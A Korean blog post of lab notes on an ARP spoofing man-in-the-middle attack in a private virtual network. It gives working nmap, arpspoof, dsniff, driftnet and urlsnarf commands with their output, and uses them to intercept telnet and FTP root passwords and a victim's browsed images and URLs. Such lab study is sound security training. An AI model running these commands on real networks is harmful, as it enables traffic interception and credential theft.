본문으로 바로가기

ARP Spoofing

category Security/Network Security 2017. 10. 18. 20:43

- ARP Cache Poisoning ( ARP Spoofing Attack ) 동작 방법


로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 2계층 MAC 주소를 공격자의 MAC 주소로 속여 클라이언트가 서버로 가는 패킷이나 서버에서 클라이언트로 가는 패킷을 중간에서 가로채는 공격이다.

공격자는 이 패킷을 읽고 확인한 후 정상적인 목적지로 향하도록 다시 돌려 보내 연결이 끊어지지 않고 연결되도록 유지한다.


- ARP 실습


[ 사용 툴 ]

nmap 포트 스캔닝

arpspoof ARP Spoof 사용하는 툴

driftnet urlsnarf 툴에 의한 URL 이미지 파일를 보여주는 툴

urlsnarf 웹 요청하는 URL를 잡아 주는 툴

dsniff         아이디/패스워드 잡아주는 전문 툴

webspy urlsnarf 툴에 의한 URL을 웹브라우저로 전송하는 툴

firefox 웹 표시(웹브라우저)


[ 시스템 구성도 ]

firewall ( 192.168.27.100 )

linux200 ( 192.168.27.200 )

win2008 ( 192.168.27.201 )

Kali        ( 192.168.27.50 )


( win2008 )

c:\> ipconfig /all

 

 Windows IP 구성


   호스트 이름 . . . . . . . . : win2008

   주 DNS 접미사 . . . . . . . :

   노드 유형 . . . . . . . . . : 혼성

   IP 라우팅 사용. . . . . . . : 아니요

   WINS 프록시 사용. . . . . . : 아니요


이더넷 어댑터 로컬 영역 연결:


   연결별 DNS 접미사. . . . :

   설명. . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection

   물리적 주소 . . . . . . . . : 00-0C-29-7D-D8-1E

   DHCP 사용 . . . . . . . . . : 아니요

   자동 구성 사용. . . . . . . : 예

   IPv4 주소 . . . . . . . . . : 192.168.27.201(기본 설정)

   서브넷 마스크 . . . . . . . : 255.255.255.0

   기본 게이트웨이 . . . . . . : 192.168.27.100

   DNS 서버. . . . . . . . . . : 168.126.63.1

   Tcpip를 통한 NetBIOS. . . . : 사용


터널 어댑터 isatap.{25111101-487D-4A0C-ACF3-13BE87CA87B3}:


   미디어 상태 . . . . . . . . : 미디어 연결 끊김

   연결별 DNS 접미사. . . . :

   설명. . . . . . . . . . . . : Microsoft ISATAP Adapter

   물리적 주소 . . . . . . . . : 00-00-00-00-00-00-00-E0

   DHCP 사용 . . . . . . . . . : 아니요

   자동 구성 사용. . . . . . . : 예


 


c:\> arp -a

 

 ARP 항목을 찾을 수 없습니다.

 

-> 다른 서버의 정보가 들어있다면 삭제합니다. 

-> arp -d


( linux200 )

# ipconfig eth0

 

 eth0      Link encap:Ethernet  HWaddr 00:0C:29:78:75:EC  

          inet addr:192.168.27.200  Bcast:192.168.27.255  Mask:255.255.255.0

          inet6 addr: fe80::20c:29ff:fe78:75ec/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:43 errors:0 dropped:0 overruns:0 frame:0

          TX packets:54 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:4192 (4.0 KiB)  TX bytes:6928 (6.7 KiB)


 


# arp -an

-> 다른 서버의 정보가 들어있다면 삭제합니다. 

-> arp -d <IP>


( Kali Linux )

# nmap -F 192.168.27.0/24    /* 연결된 모든 정보 확인한다. */

 

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-18 19:47 KST

mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.27.100

Host is up (0.00014s latency).

Not shown: 98 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

111/tcp open  rpcbind

MAC Address: 00:0C:29:7C:D6:F0 (VMware)


Nmap scan report for 192.168.27.200

Host is up (0.00014s latency).

Not shown: 98 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

111/tcp open  rpcbind

MAC Address: 00:0C:29:78:75:EC (VMware)


Nmap scan report for 192.168.27.201

Host is up (0.00021s latency).

Not shown: 91 closed ports

PORT      STATE SERVICE

135/tcp   open  msrpc

139/tcp   open  netbios-ssn

445/tcp   open  microsoft-ds

49152/tcp open  unknown

49153/tcp open  unknown

49154/tcp open  unknown

49155/tcp open  unknown

49156/tcp open  unknown

49157/tcp open  unknown

MAC Address: 00:0C:29:7D:D8:1E (VMware)


Nmap scan report for 192.168.27.50

Host is up (0.0000030s latency).

All 100 scanned ports on 192.168.27.50 are closed


Nmap done: 256 IP addresses (4 hosts up) scanned in 3.22 seconds


 


# vi /etc/sysctl.conf    /* IPv4 Forwarding 기능 ON  영구적으로 기능 설정*/

net.ipv4.ip_forward=0    /* OFF */

net.ipv4.ip_forward=1    /* ON */


[참고] 일시적으로 기능 설징

OFF

# echo 0 > /proc/sys/net/ipv4/ip_forward

# sysctl -w net.ipv4.ip_forward=0

ON

# echo 1 > /proc/sys/net/ipv4/ip_forward

# sysctl -w net.ipv4.ip_forward=1

# sysctl -p ( # sysctl -p /etc/sysctl.cont )     /* 설정 적용 */

 

 net.ipv4.ip_forward = 1

 

-> 리눅스와 달리 설정된것이 하나도 없다.  칼리리눅스는 모든 설정을 직접 해줘야한다. 


# arpspoof --help

 

 arpspoof: invalid option -- '-'

Version: 2.4

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

 


# man arpspoof


[TERM1] # wireshark &


[TERM2] # arpspoof -i eth1 -t 192.168.27.200 192.168.27.201   

 

0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40

....중략.....

 

-> interface : eth1    target : 192.168.27.200 ( linux200 ) host : 192.168.27.201 ( win2008 )

-> eth1 으로 192.168.27.200 서버에게 192.168.27.201 서버의 MAC Address 가 자신이라고 reply 계속 전송

-> 0:c:29:44:9:40 ( Kali Mac ) 0:c:29:78:75:ec ( linux200 Mac) 


[TERM3] # arpspoof -i eth1 -t 192.168.27.201 192.168.27.200

 

0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40

0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40

....중략......

 

-> interface : eth1     target : 192.168.27.201 ( win2008 )  host : 192.168.27.200 ( linux200 )

-> eth1 으로 192.168.27.201 서버에게 192.168.27.200 서버의 MAC Address 가 자신이라고 reply 계속 전송

-> 0:c:29:44:9:40 ( Kali MAC ) 0:c:29:7d:d8:1e ( win2008 MAC )


wireshark 확인



eth1 클릭



- ARP 가 200과 201에 계속해서 보내진다. 



( linux200 )

# arp -an

 

 win2008 (192.168.27.201) at 00:0C:29:44:09:40 [ether] on eth0

 

-> win2008 의 MAC Address가 Kali MAC Address 로 저장되었다. 

( win2008 )

c:\> arp -a

 

 인터페이스: 192.168.27.201 --- 0xb

  인터넷 주소           물리적 주소           유형

  192.168.27.200        00-0c-29-44-09-40     동적

  192.168.27.255        ff-ff-ff-ff-ff-ff     정적

 

-> linux200의 MAC Address가 Kali MAC Address 로 저장되었다. 


( kali )

 [TERM4] # dsniff -i eth1 -t 23/tcp=telnet host 192.168.27.201 

             /* eth1로 23 telnet 통신하는 것을 뽑아서 본다. win2008 */



( win2008 )

 telnet으로 linux200에 접속해본다. 

c:\> telnet 192.168.27.200

root 

비밀번호

# ls

# exit


( kali )

-> telnet 은 평문 전송이므로 타이핑 한거 모두 다 나온다. root 의 암호도 쉽게 알아낼 수 있다. 


[TERM4] # dsniff -i eth1 -t 21/tcp=ftp host 192.168.20.201    /* 21 포트로 들어가는것을 빼낸다*/


( win2008 )

c:\> ftp 192.168.27.200


( kali )


-> ftp 또한 평문 전송이므로 root 암호 또한 쉽게 노출된다. 



[TERM4] # driftnet -i eth1     /* 클라이언트가 요청한 이미지 확인  창이 하나 뜬다.*/

[TERM5] # urlsnarf -i eth1    /* url을 가져온다. */


( win2008 )

인터넷으로 이미지를 검색해본다. 


( kali )



-> 클라이언트가 보고있는 이미지가 나온다 ( 조금 느림 ) 

-> 클라이언트가 보고있는 url을 가져온다.  저 주소를 복사해 접속하면 클라이언트가 어떤 사이트를 보고있었는지 알 수 있다.

'Security > Network Security' 카테고리의 다른 글

ICMP 패킷 분석  (0) 2017.10.18
ARP Spoofing 방어 방법  (0) 2017.10.18
ARP 동작 확인  (0) 2017.10.17
이더넷 프레임 구조확인  (0) 2017.10.17
보안 기초 용어  (0) 2017.10.16